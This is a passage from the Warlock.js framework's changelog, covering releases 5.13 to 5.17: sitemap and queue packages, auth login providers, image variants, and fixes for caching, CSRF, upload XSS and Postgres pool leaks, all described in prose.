Authorizationheader or the cookie named byauth.cookie.name(defaultaccess_token). An app whose session cookie used a different name (e.g.token) could have a signed-in visitor's render STORED, and the next anonymous visitor's request HIT it, receiving the signed-in visitor's data. Any request whoseCookieheader carries a cookie other than the framework locale cookie or a validated locale-preference cookie now bypasses cache lookup and is never stored, regardless ofauth.cookie.name. The same rule forcesCache-Control: private, no-storeon aconfig.cache.publicroute that has noserverCache, where it previously could bepublic. A malformed or emptyCookieheader (Cookie:,Cookie: ;;;,Cookie: garbage-no-equals) fails closed the same way. Purge any page-cache and CDN entries stored by an earlier version after upgrading — see Upgrading, above. - Security React's own inline scripts — the
$RC/$RSboundary-reveal/segment scripts Fizz streams to swap a completed Suspense boundary's placeholder into place — now carry the request's CSP nonce, on every render path that can stream (the ordinary flush-early path, the crawler/waitForAllpath, and error-document escalation). Before, an app withhttp.csp.enabledand a streaming ordefer()-ing page had these scripts blocked under a strictscript-src 'nonce-...'policy (no'unsafe-inline'), leaving the deferred section's fallback on screen forever instead of being swapped for the real content.
- Added Standalone
warlock generate.typingsincludes routelocales.jsonkeys, honoring$groupand existing literal translation registrations. The optional Web build helper is resolved from the application's installed package using ESM export conditions, without executing application configuration or the Web root entry. - Added
uploadedFileController, a ready-made handler forrouter.get("/uploads/*", uploadedFileController)that serves local uploads safely. The request path must resolve inside the storage root, symlinks included, and never into the variant cache. Anything else gets the same 404 as a missing file, so the route cannot be used to probe for files. Originals are sent with a one-year cache. - Added
generateImageVariants(relativePath, options?), an opt-in ingest-time counterpart touploadedFileController: call it right after an upload is saved to render every configureduploads.imagesvariant (optionallyoptions.variantsto limit which ones) up front. It shares the route's normalized config, cache key and derivative path, soGET /uploads/<path>?variant=<name>is served from cache on its first request, and its source guards and error statuses match the route. It returns a plain, serializable descriptor ({ src, width, height, variants, formats? }) matching web'sImageDescriptor. - Added Bounded on-demand image variants, configured under
uploads.images:?variant=<name>renders a variant named inuploads.images.variants(width and height from 1 to 8192, quality from 1 to 100,fitofcover,containorinside), and&format=picks an output format from theformatsallowlist (webp,avif). Any other query key, a repeated key, an unknown variant or a format that is not allowed returns 400. Only jpeg, png, webp and avif sources are resized, detected by their magic bytes, never their extension. gif and svg return 415.maxSourceBytes(default 25 MB) andmaxSourcePixels(default 40,000,000) cap the source, and a larger one returns 413. Each derivative is cached on disk under a sha256 of the source path, size, mtime, variant and format, and it is written atomically. Concurrent requests for the same derivative generate it once. It is served withCache-Control: public, max-age=31536000, immutableand an ETag that answers 304. Rewriting the source changes the key, so the next request renders a new derivative. An invaliduploads.imagesconfig throwsImageVariantsConfigErrorthe first time a variant is requested. The variant path needssharp, but originals are served without it. - Fixed Request translation helpers follow the request's current locale; Web can supply its immutable route-scoped resolver for
request.t(),request.trans(), and explicitrequest.transFrom(locale, key, placeholders?). Without that resolver, all retain their global-registry behavior. - Fixed Locale preference resolution validates the host-only preference before falling through to the legacy cookie, header, and default.
response.setLocale()clears the preference before writing its authoritative locale cookie. Provisional Web navigation requests do not persist a locale before the browser commits a successful current navigation. - Fixed Image variants (
uploadedFileControllerandgenerateImageVariants) no longer enlarge a source smaller than the variant's target width or height. A variant is now rendered with sharp'swithoutEnlargement: trueby default, so a 100px source requested at{ width: 320 }stays 100px wide instead of being upscaled. Opt in per variant withenlarge: trueinImageVariantDefinition(a non-boolean value throwsImageVariantsConfigError); the effective flag is part of the normalized variant and its cache key, so flipping it regenerates the derivative.generateImageVariants' descriptor now reports the actual rendered width and height, read from the derivative it wrote, not the requested size. - Fixed
generateImageVariantsnow throwsImageVariantsConfigError— not a plainError(no storage root) orHttpError(400)(uploads.imagesnot configured) — for both server misconfiguration states, matching how a baduploads.imagesvalue is already reported; input-derived failures (traversal, missing file, bad format, size limits, unknown variant name) still throwHttpError.uploadedFileController's own responses for these requests are unchanged. - Fixed
warlock seed(andwarlock migrate, for data migrations) now preload thestorageconnector, andStorage/ScopedStoragethrow a namedStorageNotInitializedError— pointing atsrc/config/storage.tsand a custom command'spreload.connectors— instead of a bareTypeError: Cannot read properties of null (reading 'name')whenactiveDriveris read before storage has been initialized in the process. - Security
uploadedFileControllerno longer serves an upload original inline unless its bytes sniff as jpeg, png, webp or avif AND its extension names that same image type (.jpg/.jpegfor jpeg,.pngfor png,.webpfor webp,.aviffor avif) — never sniffed bytes alone, and never the extension alone. An inline response always carries the SNIFFED format'sContent-Typeset explicitly, not an extension-derived guess fromsendFile. This closes two stored-XSS holes, sniffed-bytes vs. extension mismatched in each direction: an svg (or any other non-raster file) named.png/.jpgstill downloads instead of rendering as its extension's type, and raster bytes named with a non-image or different-image extension — e.g. jpeg magic bytes saved asx.html— also download instead of being served under that extension's advertised type (text/html, previously inherited fromsendFile). Every other original — svg, html, xml, text, pdf, unknown, any raster/extension mismatch either way — is sent withContent-Disposition: attachment,Content-Security-Policy: sandbox, and its extension-derivedContent-Type, except the svg/html/xml family, which is downgraded toapplication/octet-stream. Every uploads response — originals and variants — now also carriesX-Content-Type-Options: nosniff. - Security A default CSRF-Origin guard (card 8a752ab2) now runs at the earliest HTTP seam, before route middleware and any app handler, for every unsafe-method (
POST/PUT/PATCH/DELETE) request that carries aCookieheader naming anything other than the framework locale cookie or a validated locale-preference cookie (a malformedCookieheader counts as carrying one — fails closed). It requiresOrigin— or, absent that,Referer— to name the request's own origin or an entry inauth.csrf.allowedOrigins, rejecting with403otherwise. Before this, that check only ran insideauthMiddleware("cookie:*"), so a cookie-authenticated write reached through any other path (e.g. an app-owned optional-auth pattern reading its owntokencookie) was never checked. A header-only API request (noCookieheader, e.g.Authorization: Bearer) is unaffected, and a route can opt out with{ csrf: false }(RouteOptions.csrf) — documented as dangerous, for third-party callbacks and machine-to-machine routes only.
- Added
pnpm typecheck:templaterunstsc --noEmitontemplates/warlock/src/against this checkout's own@warlock.js/*source (viatsconfig.template-check.json), catching a template import that no longer exists in the framework — the class of bug that let a removed-but-still-used import pass all 291 tests. Enforced on every run byspecs/template-typecheck.spec.ts, complementing the slower registry-installtypecheck:scaffoldgate. - Added The scaffolded
src/config/http.tsnow setstrustProxy: falseexplicitly, with a comment on when/how to enable it behind a proxy or load balancer, and ships a commented-out, nonce-basedcspstarter block so both are discoverable instead of silently absent. - Changed Web scaffold pages use the 5.17
configexport withPageConfig, keeping loaders and components as separate exports. New apps depend on@mongez/localization:^3.5.0for scoped route translations. - Changed New Web scaffolds set
strictMode: trueinsrc/web/root.tsx'sRootConfig, so the hydrated page, layout, and navigation tree receives React's development Strict Mode checks. Existing applications keep the framework default offalseuntil they opt in. - Changed The CLI's source formatting check is part of
test. Interactive project naming and preset selection preserve the entered name when Customize advances to package-manager selection. - Fixed The scaffolded
src/config/cache.tsnamespaced every cache key byrequest.originDomain || request.header("domain") || request.input("domain"). A browser GET carries noOriginwhile a CSRF-protected POST does, so the same visitor resolved two different prefixes and a write could never invalidate what a read had cached — repository caches and page-cache tags went silently stale (verified live on a real app). None of those three inputs are server-validated either, so any visitor could pick?domain=anythingor adomainheader to land in an arbitrary namespace and grow the in-memory store without bound.globalPrefixis now a fixed, app-owned string derived fromAPP_NAME, with no request data read at all. Existing projects should apply the same change tosrc/config/cache.ts: - Security BREAKING: the scaffolded
GET /uploads/*route resized images to any?w=&h=a client sent. This was a denial-of-service vector, because every new size forced a full decode and resize and nothing was cached. The route also resolved the path without a containment check. The generatedsrc/app/uploads/controllers/fetch-uploaded-file.controller.tsis gone.src/app/uploads/routes.tsnow mounts core'suploadedFileController, which keeps the request inside the storage root and only renders the named variants the app declares.?w=and?h=now return 400. Existing projects should apply the same change:
- Changed Cache misses and expiries log at
infoinstead ofwarn. A cache miss or expiry is normal behaviour, not a warning. - Fixed
cache.tags([...]).invalidate()now deletes the tagged entries when aglobalPrefixis configured, whether static ("store") or a function. Before, the tag index stored each key with the prefix already applied, and invalidation passed that key back throughremove(), which applied the prefix a second time. So it dropped the tag index but deleted none of the tagged entries, and reads stayed stale until TTL. Every scaffolded app sets aglobalPrefix. The tag index now stores the un-prefixed key in all of these paths:tags().set(), inlineset(key, value, { tags }),tags().remove(), the scopedcache.namespace(...).tags(...)handle (includingsetNX), and thesimilar()tag filter.remove()applies the prefix exactly once, on every driver. With a function prefix, invalidation uses the prefix that is current when it runs, which is the same prefix the tag index itself is read under. The two therefore agree as long as the prefix is stable for a given app or tenant. - Fixed
MemoryCacheDriver.similar()returned no results whenever aglobalPrefixwas set, because it read each stored, already-prefixed key back throughget(), which prefixed it again. It now reads entries by their stored key. - Fixed Upgrade note: entries tagged before this upgrade are indexed under the old, already-prefixed form, so invalidation still can't reach them. Their tag index is dropped on the first
invalidate(), which leaves those entries orphaned. They expire by their TTL, orflush()clears them right away.
- Fixed The
pageAuthlogin redirect now carries the request's locale prefix when@warlock.js/web'sweb.localeRouting.strategyis active. Before, an anonymous request to a locale-prefixed page (e.g./ar/admin) always redirected to the bareauth.pageAuth.loginPath(e.g./login?returnUrl=%2Far%2Fadmin), dropping the locale even thoughreturnUrlkept it. It now redirects to the locale-prefixed login path (/ar/login?returnUrl=%2Far%2Fadmin) — readingweb.localeRouting.strategy/app.localeCodes/app.localeCodefrom config directly (authhas no dependency onweb, in either direction). Left unchanged whenloginPathis absolute (http…) or already locale-prefixed. - Security The CSRF Origin/Referer check
authMiddleware("cookie:*")runs (assertCsrfOriginAllowed) now delegates its same-origin/auth.csrf.allowedOriginscomparison to@warlock.js/core'sresolveCsrfOriginVerdict, shared with core's new default CSRF-Origin guard (card 8a752ab2, see@warlock.js/core's 5.17.0 changelog) so the two checks can never drift apart. Behaviour is unchanged for routes already usingauthMiddleware("cookie:*").
- Fixed
where(field, undefined)/where(field, operator, undefined)/where({ field: undefined })(and theorWhereequivalents, on both the Postgres and MongoDB query builders) now throwUndefinedWhereValueErrorinstead of silently reaching the driver. A boundundefinedused to bind as= NULL(SQL) / "field missing" (MongoDB) — a comparison that never matches but never fails either, hiding call sites that forgot to guard a value that turned out to be missing (card 62e0e781: a blog author lookup ranUser.find(post.authorId)with an undefined id under load). Passnullto match NULL explicitly; guard the call site to skip the query when there's no value. - Fixed Postgres pool leaks (card ba1193b4):
beginTransaction()now releases its client on every path, including whenBEGIN,COMMITorROLLBACKthrows. A failedCOMMIT/ROLLBACKdiscards the client (release(error)) instead of recycling one left in an unknown transaction state, andtransaction()no longer issuesROLLBACKafter a failedCOMMIT. The pool also gets anerrorlistener (an idle client dropped by the server no longer crashes the process),keepAlive, and a 10s connect timeout.
- Added Granular
@warlock.js/seal/objectand@warlock.js/seal/stringentry points with theobjectandstringfactories for schemas that do not need the completevfactory. - Added
redactValueoption onv.validate(schema, data, options): when set, the:valueplaceholder renders that string instead of the submitted input, both in the attributes handed totranslateRuleand in authorerrorMessagetemplates. It does not cover a custom rule that concatenates raw input into its own message text. Unset keeps the current behaviour. Per-call options replace the global config, so pass{ ...getSealConfig(), redactValue }to keep your translators.
5.16.0 September 18, 2026
@warlock.js/sitemap is now framework-blind (BREAKING): the 5.15 connector API is removed in favour of the Sitemap builder (new Sitemap({ baseUrl }), toXML(), atomic saveTo() and publishTo()) and a new SitemapIndex that streams size-capped shards behind a master index and publishes the whole directory atomically. Warlock web apps get sitemap.xml and robots.txt from the new @warlock.js/web/sitemap subpath, configured under web.sitemap and web.robots in src/config/web.ts, with pages controlling their own listing through export const sitemap. BREAKING (@warlock.js/web): in production an unexpected page error no longer sends its message to the browser; throw PublicPageError for messages visitors should see. Web also adds a default client error boundary, loader signal that aborts on client disconnect, and pageCache.maxEntryBytes. @warlock.js/auth adds GitHub, Discord, LinkedIn, Apple (form_post), Facebook and X login providers, and @warlock.js/core now parses urlencoded request bodies and lets response.xml() send anything with a toXML() method. Lockstep release across all 30 packages. Generator matrix scope: none, excluded by the owner; Hasan authorised the release on 2026-09-18: "Go ahead please".
Generator matrix: not run for this release.
- Added
SitemapIndex: streams entries into size-capped shards plus a master index, and optionally writes.xml.gzfiles. It publishes the whole output directory atomically and marks it with.sitemap-set.json. - Added
Sitemap.publishTo(outDir, fileName?), andsaveTo()now writes atomically (temp file, then rename, with retries on WindowsEPERM/EBUSY). - Added
UnownedOutputDirectoryError: publishing refuses to replace a non-empty directory that lacks the ownership marker. - Changed BREAKING: the package no longer depends on any framework. The connector API is removed:
sitemapConnector(),collectSitemapEntries(), theSitemapConfigconfig module,MissingPublicUrlError,NoPageRegistryErrorandRoutablePage. Use theSitemapbuilder class instead (new Sitemap({ baseUrl }),add/addMany/declareRoute,toXML/saveTo). Warlock apps configureweb.sitemapin@warlock.js/webinstead. - Changed
baseUrlis validated in the constructor (InvalidBaseUrlError). Entries are keyed by path, andduplicates()reports every collision. - Changed Dropped the
@warlock.js/coreand@warlock.js/webdependencies.
- Added
@warlock.js/web/sitemap:sitemap.xmlandrobots.txtfor web apps. Configure them underweb.sitemapandweb.robotsinsrc/config/web.ts. Pages control their own listing withexport const sitemap(false, static options, or a function that supplies URLs for dynamic routes). Locales expand into hreflang alternates, and web switches to a shardedSitemapIndexabove 50,000 URLs. The sitemap is generated at runtime boot (web.sitemap.regenerate.onBoot) or when the app callsregenerateSitemap()— never atwarlock buildand never while serving a request. See 5.17.0. - Added Web now wraps every page in a default client error boundary. A rejected
defer()value with no app boundary renders the app's error page, or a built-in fallback, instead of unmounting the tree. The boundary resets on every navigation, refresh and locale change. - Added
PublicPageError: throw it, or reject a deferred value with it, when itsmessageis meant for visitors. In production, only aPublicPageErrormessage reaches the browser. - Added Loaders receive
signal, anAbortSignalthat fires when the client disconnects. - Added Development only: during client navigation, web checks that a page's translations were registered by
register()before anything renders. - Added
pageCache.maxEntryBytes(default 1 MiB): a cache miss larger than this is still served in full but is not cached. - Changed BREAKING (production error disclosure): in production, an unexpected page error no longer sends its
messageto the browser. The browser gets a generic message plus anerrorCodethat matches the server's error report, andstackis never sent. ThrowPublicPageErrorfor messages visitors should see. - Fixed A client disconnect now aborts SSR, NDJSON navigation streams and loader work, and stream errors no longer escape as uncaught exceptions. A refresh or locale change aborts the fetches it supersedes.
- Fixed Deferred values are scoped per navigation, so late chunks from an abandoned navigation can no longer settle the active page. Finished scopes are released from memory.
- Fixed SSR and client navigation now fall back the same way for missing metadata fields.
- Fixed The dev client page registry keeps a custom
appSrcRoot. - Fixed In development, page discovery for unmatched requests is cached until a page file changes.
- Fixed Production hashed assets (
/assets/*.js,.css, …) are now served precompressed instead of raw:warlock buildwrites.br/.gzsiblings for eligible text assets ≥1KB, andwarlock startnegotiatesAccept-Encoding(brotli, then gzip, then identity) via@fastify/static'spreCompressedoption, withVary: Accept-Encodingon every response.
- Added Six new login providers: GitHub, Discord, LinkedIn, Apple, Facebook and X, configured under
auth.providers.<name>and used throughstartProviderLogin/completeProviderLogin. Apple and LinkedIn verify their id_token withjose. The other four use plain OAuth 2. - Added
AuthProvider.callbackMode("query"|"form_post"). Apple usesform_post, so its state cookie is written withSameSite=None; Secure(HTTPS required). Query-mode providers keepSameSite=Lax. - Fixed Provider names now resolve only from
auth.providers' own keys, so a name inherited from the object prototype, such astoString, is never treated as a provider. - Fixed The Set-Cookie that clears the provider state cookie now repeats the attributes the cookie was written with.
- Added Core now parses
application/x-www-form-urlencodedrequest bodies, so plain HTML forms and OAuthform_postcallbacks (Apple) reach their routes instead of failing withFST_ERR_CTP_INVALID_MEDIA_TYPE. These bodies have the samehttp.bodyLimitas JSON. A key sent more than once becomes an array. - Added
response.xml()accepts a raw string or any value with atoXML(): stringmethod (such as a@warlock.js/sitemapSitemap), and sendsapplication/xml. - Changed
warlock add sitemapnow merges a disabledsitemapsection intosrc/config/web.ts, and creates that file when it is missing. It no longer writessrc/config/sitemap.tsor registerssitemapConnector(). The merge edits only asitemapkey directly on the exported config object, and the result is re-parsed before it is written.
- Fixed Skill code samples are now self-contained and type-check as written.
- Fixed The failed-jobs dashboard skill sample now includes the connection config and the
authMiddlewareimport.
5.15.0 September 18, 2026
New package: @warlock.js/sitemap — the thirtieth family member, and the first added since the family settled. Runtime sitemap.xml generation from the page registry, installed with warlock add sitemap, with zero runtime dependencies. It is usable three ways: standalone in any Node app, in an API-only Warlock app through sitemapConnector({ entries }), and in a Warlock web app from the page registry. A dynamic route that cannot be enumerated is omitted and named in a development diagnostic rather than silently dropped, and an enabled sitemap with no configured origin refuses to boot instead of serving absolute URLs built from a guessed host. Two silent failures are fixed in @warlock.js/web and @warlock.js/core: useTrans() returned the raw key after hydration — server HTML was correct, the post-hydration DOM was not, and the translated value never reached dist/client at all — so the hydration payload gains a seventh required key, translations, carrying only the active locale; and request.cookie() now throws CookieJarUnavailableError when @fastify/cookie is absent instead of returning undefined, which was indistinguishable from "no such cookie" and surfaced as a permanent unexplained 401. @warlock.js/core adds app.publicUrl with a PUBLIC_APP_URL fallback. BREAKING: @warlock.js/queue/notifications is removed (deprecated in 5.14 — use bullmqQueue() from @warlock.js/notifications), and listRoutablePages moved to the @warlock.js/web/build subpath. @warlock.js/cache finally declares a test script, so its 525 tests run in the release gate for the first time. Lockstep release across all 30 packages. Generator matrix ran subset scope (baseline, web, sitemap, queue, bull-board rows) against the staged candidate, authorised by Hasan on 2026-09-18: "You could run the matrix if you feel it is important to this release".
Generator matrix: selected rows ran against the staged candidate — baseline, web, sitemap, queue, bull-board.
- Added New package: runtime
sitemap.xmlgeneration. Walks the page registry at runtime, applies the framework's exclusion rules (not-found route, error page,metadata.robots: noindex,sitemap: false), collects the entries a page'ssitemapexport returns, and reports — in development — any dynamic route left with nositemapexport so it is never silently dropped from the generated XML. - Added Zero runtime dependencies, in the same spirit as
@warlock.js/fs: XML serialization is string-building plus escaping, and needs no library. - Added Usable in three ways: standalone in any Node app (
collectSitemapEntries+buildSitemapXml, no Warlock at all), in an API-only Warlock app viasitemapConnector({ entries }), and in a Warlock web app from the page registry.@warlock.js/coreand@warlock.js/webare optional peers — everything exceptsitemapConnector()imports nothing from either, and the connector reaches them only through a lazyimport(). - Added
sitemapConnector({ entries })merges app-supplied entries with page-derived ones, deduplicated by path with the app-supplied entry winning. With neither source available the connector refuses to boot (NoPageRegistryError) instead of serving an empty<urlset>that looks correct.
- Added
warlock add sitemapinstalls@warlock.js/sitemap, writessrc/config/sitemap.ts, and registerssitemapConnector()inwarlock.config.ts. The generated config ships disabled: a sitemap needs the application public origin and a generated app cannot know it, so the block explains the two steps to turn it on rather than producing an app that refuses to boot. - Added
app.publicUrlconfig key, with aPUBLIC_APP_URLenvironment fallback: the one absolute-URL source for every consumer that needs an origin. It never falls back to a request-derived host — an absolute URL built from the wrong host is worse than a boot that refuses to start, because nothing downstream reports it. - Changed BREAKING (fail-loud):
request.cookie(name)andrequest.hasCookie(name)now throwCookieJarUnavailableErrorwhen@fastify/cookieis not registered on the Fastify instance, instead of returningundefined/false. An unregistered plugin is a configuration fault, and it was previously indistinguishable from "the caller sent no such cookie" — underauthMiddleware([], "cookie:token")it surfaced as a permanent, unexplained 401. Apps built oncreateHttpApplicationare unaffected: core registers the plugin before anything mounts. The exposure is a host that mounts a guarded surface on its own Fastify instance.request.cookiesstays lenient and still returns{}, so the framework's own opportunistic reads — locale resolution among them — are unchanged.
- Changed BREAKING:
listRoutablePagesis exported from@warlock.js/web/build, not the root barrel. It reaches the filesystem-walking page discovery, and on the root barrel that module joined the import graph of every page importing@warlock.js/web— a generated app answered 500 on every route in dev. A boundary spec now fails if the root barrel reachessrc/build/**. - Changed The hydration payload carries a seventh required key,
translations, holding only the active locale's entries — never every locale. - Fixed
useTrans()no longer silently returns the raw key after hydration. The active locale's translations now ride in the hydration payload and register on the client beforehydrateRoot, so a translated string survives hydration instead of being reconciled away. Server-rendered HTML was always correct, which is what made this invisible.
- Added The feature picker offers Sitemap — runtime
sitemap.xmlgeneration from the page registry. - Added The feature picker offers Bull Board, the queue dashboard.
warlock add bull-boardshipped in 5.14 but the scaffolder never offered it, so a new app could not select it at creation time.
- Fixed This package declares a
testscript, so its 23 spec files and 525 tests actually run in the release gate. They existed and passed, but with no script to invoke them the gate reportedSKIPPED (no "test" script)on every release and nothing here was ever checked before publishing.
- Removed The integration spec covering the deprecated
@warlock.js/queue/notificationsdispatcher, which was removed from@warlock.js/queuein this release.bullmqQueue()is the supported path and keeps its own coverage.
- Fixed The dashboard guard now ends the request explicitly when a middleware short-circuits, instead of leaving it to Fastify noticing the reply was already sent. The adapter has always returned a "handled" boolean for this; the hook discarded it, so whether an unauthenticated caller reached the dashboard depended on write ordering — a guard answering asynchronously could lose that race.
5.14.0 September 17, 2026
@warlock.js/web renames the hydration mount from #root to #vessel (BREAKING) — #root collided with embeds and third-party widgets — and hardens the client-build secret scan to refuse EVERY reference to the global process, aliases included (BREAKING for typeof process feature detection). Dev SSR now externalises every installed @warlock.js/* package by rule instead of a hand-maintained list, closing the dual-module-instance class that split framework singletons. A cached page sends one Vary value on both its HTML and data representations. @warlock.js/queue gains a config-driven bull-board dashboard (warlock add bull-board) that refuses to mount unguarded in production, and find(id) no longer returns a finished job with a null result. @warlock.js/notifications takes over the BullMQ integration as bullmqQueue(), a lazy optional-peer driver; @warlock.js/queue/notifications is deprecated for one release. @warlock.js/core adds middleware.cache({ tags }) so invalidateTags() clears cached API responses, verifies the esbuild native binary before warlock dev starts, and fixes a devServer.timings watcher phase that always reported 0ms. Lockstep release across all 29 packages. Generator matrix ran subset scope (baseline, web, queue, bull-board, auth-google, auth-passkeys rows) against the staged candidate, authorised by Hasan on 2026-09-17: "Go ahead plz".
Generator matrix: selected rows ran against the staged candidate — baseline, web, queue, bull-board, auth-google, auth-passkeys.
- Changed BREAKING: the hydration mount is
<div id="vessel">(was#root), which no longer collides with embeds and widgets. Update customroot.tsxfiles and any#rootCSS or tests; hydration errors name the rename when#rootis found. - Changed Dev SSR externalises every installed
@warlock.js/*package (derived, not a hand list), so no family package can load twice and split its state. - Fixed A local variable or parameter named
processin client code is no longer falsely refused. - Fixed Cached pages send one
Varyvalue on both HTML and data responses: HTML now varies onx-warlock-data, and deferred pages keepVary: User-Agent. - Fixed The typed translation-key guard now actually runs as part of
typecheck. - Security BREAKING: the client-build secret scan refuses every reference to the global
process, including aliased forms (const p = globalThis.process,const { env } = process,window.process). Useimport.meta.envinstead oftypeof processchecks.
- Added
dashboard: { enabled, path, middleware }insrc/config/queue.ts: the queue connector mounts Bull Board at boot, guarded by the given middleware. - Added
QueueDashboardUnguardedError: in production the dashboard refuses to mount without guard middleware, since it can retry and delete jobs. - Added
queueDashboard()accepts amiddlewareoption. - Fixed The connector registers the queue config when it mounts the dashboard at boot, so an app whose only queue usage is the dashboard no longer fails to start with
QueueNotConfiguredError. - Fixed
find(id)no longer returns a completed job withresult: nullandattemptsMade: 0when the job finishes mid-read. - Deprecated
@warlock.js/queue/notifications(queueNotificationDispatcher): usebullmqQueue()from@warlock.js/notifications. It still works in 5.14, warns once, and is removed in the next release.
- Added
bullmqQueue({ queue, attempts, backoff }): a BullMQ-backed.queue()driver that lazy-loads@warlock.js/queue(optional peer); a missing package throwsQueuePackageNotInstalledErrornamingwarlock add queue.
- Added
warlock add bull-boardinstalls the Bull Board packages and writes adashboardblock tosrc/config/queue.ts; it adds the queue feature first when it is missing. The generated block enables the dashboard outside production only, since an unguarded dashboard refuses to mount in production. - Added
middleware.cache({ tags }): cached API responses can be tagged and are evicted bycache.tags([...]).invalidate(), like cached pages. - Fixed
warlock devchecks esbuild's native binary before starting and fails withEsbuildBinaryMissingErrornaming the fix (warlock buildalready did). - Fixed
devServer.timings: thewatcherphase always reported 0ms on Windows and Linux; it now measures the real settle time. - Fixed
warlock addwrites connector arrays formatted like Prettier ([queueConnector(), webConnector()]), including empty and multi-line arrays.
- Changed BREAKING: the web starter's
src/web/root.tsxrenders the hydration mount as<div id="vessel">(was#root).
5.13.0 September 17, 2026
@warlock.js/queue ships as a new package (durable BullMQ + Redis background jobs, defineJob, queueConnector(), a bull-board dashboard and a notifications dispatcher). @warlock.js/auth adds email verification, password reset, and login with Google, passkeys and phone OTP, with account linking via a new provider_accounts table. @warlock.js/access makes ABAC strictPolicies deny-by-default (BREAKING) to close a fail-open IDOR path. @warlock.js/web fixes a Host-header cache-poisoning gap in the server page cache key (BREAKING) and a stale-Suspense-fallback replay on cache HIT, and adds linkStylesheetsFor for lazily-imported per-tenant themes. @warlock.js/core adds warlock add queue/warlock add auth-google/warlock add auth-passkeys installers and typed translation-key generation, and drops its dependency on @warlock.js/auth. Lockstep release across all 28 packages. Generator matrix ran subset scope (baseline, web, queue, access, auth-google, auth-passkeys rows) against the staged candidate, authorised by Hasan on 2026-09-16: "You've my approval for whatever decision you may need to take in this release."
Generator matrix: selected rows ran against the staged candidate — baseline, web, queue, access, auth-google, auth-passkeys.
- Added New package: durable background jobs on BullMQ + Redis. Redis is required.
- Added
defineJob({ name, queue, attempts, backoff, removeOnComplete, removeOnFail, handle(payload, ctx) })returns a typed job withdispatch(payload, { delay, priority, jobId, attempts, backoff })andfind(id). - Added Job context:
id,name,queue,attempt,maxAttempts,progress(value),log(line). - Added
failedJobs({ queue, start, end })andretryFailedJob(id, { queue }). - Added
queueConnector()forwarlock.config.ts > connectors: reads thequeueconfig key, starts workers in the app process (turn off withworkers.enabled: false), and on shutdown waits for active jobs up toworkers.shutdownTimeoutbefore closing. - Added
setQueueConfig,startWorkers,closeQueuefor scripts, tests and worker-only processes. - Added
@warlock.js/queue/notifications:queueNotificationDispatcher()sends@warlock.js/notifications.queue()deliveries through BullMQ, with retries anddelaysupport. - Added
queueDashboard(server, { basePath }): mounts bull-board on Warlock's Fastify server.@bull-board/apiand@bull-board/fastifyare optional peers, loaded only when it is called; a missing one throwsQueueDashboardDependencyError. - Fixed Portable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- Added Email verification and password reset.
sendEmailVerification(user),verifyEmail(token),requestPasswordReset(Model, email)andresetPassword(token, newPassword). Tokens are 32 random bytes, stored only as a SHA-256 hash, single-use (consumed with a conditional update, so of two concurrent uses exactly one succeeds), expiring (auth.verification.expiresIndefault"24h",auth.passwordReset.expiresIndefault"60m") and purpose-bound. A new reset request invalidates the user's earlier unused reset tokens.requestPasswordResetanswers the same for unknown emails.resetPasswordrevokes every access token, refresh token and cookie session throughauthService.revokeAllTokens. Rejected tokens throwInvalidOneTimeTokenError(400,EC008). - Added New
one_time_tokenstable (OneTimeTokenmodel, overridable viaauth.oneTimeToken.model), shipped inauthMigrations. Run your migrations. - Added Delivery goes through
@warlock.js/notifications, now an optional peer dependency. Default mail notifications can be replaced viaauth.verification.notification/auth.passwordReset.notification, and link builders set via.url. If the package is not installed or not configured, calls throwNotificationsUnavailableErrorbefore any token is issued. - Added
requireVerifiedEmail()middleware — rejects users withoutauth.verification.field(defaultemailVerifiedAt) withEmailNotVerifiedError(403,EC007).isEmailVerified(user)helper. - Added
tokenIssueThrottleMiddleware()(every request counts, per email + IP, 3/1h) andtokenConsumeThrottleMiddleware()(failures, per IP, 10/15m), both built onloginThrottleMiddleware. - Added
AuthErrorCodes.EmailNotVerified("EC007") andAuthErrorCodes.InvalidOneTimeToken("EC008"). - Added Login with Google, passkeys and phone codes (skill
login-with-providers). Every method ends in the newauthService.completeLogin(user, deviceInfo?), which appliesauth.canAuthenticateand then issues exactly whatauthService.loginissues (same tokens, rows andlogin.successevent).loginnow shares that ending. - Google:startProviderLogin(response, "google")/completeProviderLogin(Model, "google", request, response). Uses the OIDC authorization code flow with PKCE (S256),stateandnonce, kept in a signed 10-minute HttpOnly cookie. The code is exchanged withfetch, and the id_token is verified withjoseagainst Google's JWKS (signature,iss,aud,exp,nonce). Configure it underauth.providers.google. Other providers implement theAuthProvidercontract and register underauth.providers.custom. - Account linking: newprovider_accountstable (ProviderAccount). A link always decides the user. Without one, only a provider-verified email links an existing user or creates a new one; an unverified email throwsProviderEmailNotVerifiedError(403,EC010). Callback rejections throwInvalidProviderCallbackError(400,EC009). - Passkeys:generatePasskeyRegistrationOptions/verifyPasskeyRegistration/generatePasskeyAuthenticationOptions/verifyPasskeyAuthentication, built on@simplewebauthn/server. Challenges are stored hashed inone_time_tokens, expire, and are used once (consumed even when verification fails). The requestOriginmust be inauth.passkeys.origin, and a signature counter that does not advance is rejected. Credentials are stored in the newpasskey_credentialstable (PasskeyCredential). Rejections throwInvalidPasskeyError(400,EC011). - Phone OTP:requestOtp(Model, phone, { channel })/verifyOtp(Model, phone, code). Codes have 6 digits, are stored as a salted HMAC inone_time_tokens(purposeotp), expire after 5 minutes, and are invalidated after 5 attempts (counted atomically). Unknown phones get the same answer. Codes are delivered through the@warlock.js/notificationschannel you configure (auth.otp.channel, default"sms") orauth.otp.send; auth ships no SMS/WhatsApp driver. NewotpRequestThrottleMiddleware()/otpVerifyThrottleMiddleware()presets are built onloginThrottleMiddleware. -joseand@simplewebauthn/serverare new optional peer dependencies, loaded lazily. When one is missing, the call throwsAuthProviderSdkMissingError, whose message nameswarlock add auth-google/warlock add auth-passkeys. - Added
one_time_tokensgains anattemptscolumn, anduser_idbecomes nullable (passkey login challenges have no user yet).authMigrationsnow includesProviderAccountMigrationandPasskeyCredentialMigration. Run your migrations. - Added
auth.cleanup/authService.cleanupExpiredTokens()also hard-deletes expired and consumedone_time_tokensrows via the newOneTimeToken.purgeSpent(). The delete is permanent on every driver, so MongoDB's default "trash" strategy does not copy token hashes intoone_time_tokensTrash. - Added Local real-database integration suites (
tests/integration/local, skipped unlessLOCAL_MONGO_*/LOCAL_PG_*are set) prove on MongoDB and Postgres: a one-time token consumed 20 times concurrently succeeds once, 20 concurrent wrong OTP guesses count at most 5 attempts and invalidate the code, a passkey login challenge with no user persists and is consumed, the counter compare-and-set and regression rejection hold, andprovider_accountsallows one link per identity. - Added Passkey specs now also run the real
